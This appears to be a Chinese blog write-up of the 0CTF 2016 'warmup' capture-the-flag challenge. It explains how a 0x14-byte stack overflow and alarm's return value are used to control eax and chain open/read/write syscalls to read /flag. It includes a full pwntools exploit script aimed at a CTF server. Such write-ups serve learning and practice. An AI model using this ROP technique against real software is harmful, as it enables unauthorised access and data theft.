0CTF_2016_warmup(alarm在rop中控制eax,orw)

程序分析:

请添加图片描述
就开了nx
在这里插入图片描述

请添加图片描述
可以溢出,但只能溢出0x34-32=0x14

利用方法:

利用alarm的特性:设置后一个alarm会返回前一个alarm剩余秒数
可以利用这个性质控制寄存器eax的值
加之题目里的int 80 syscall系统调用,就可以rop实现我们想要的功能,
结合已有功能,可以syscall出一个open系统调用,orw组合读取flag。

exp:

from pwn import *
#from LibcSearcher import * 
local_file  = './warmup'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',26363 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
#----------------------------------------------------------------------
main_addr=0x0804815A
write_addr=0x08048135
read_addr=0x0804811D
alarm_addr=0x0804810D
data=0x080491BC
syscall=0x08048122
r.send('a'*0x20+p32(read_addr)+p32(main_addr)+p32(0)+p32(data)+p32(0x8))
r.sendafter('Good Luck!\n','/flag'.ljust(0x8,'\x00'))
sleep(0xa-0x5)
#-------------------------------orw----------------------------------
r.send('a'*0x20+p32(alarm_addr)+p32(syscall)+p32(main_addr)+p32(data)+p32(0))
r.sendafter('Good Luck!\n','a'*0x20+p32(read_addr)+p32(main_addr)+p32(3)+p32(data)+p32(0x30))
r.sendafter('Good Luck!\n','a'*0x20+p32(write_addr)+p32(main_addr)+p32(1)+p32(data)+p32(0x30))
r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值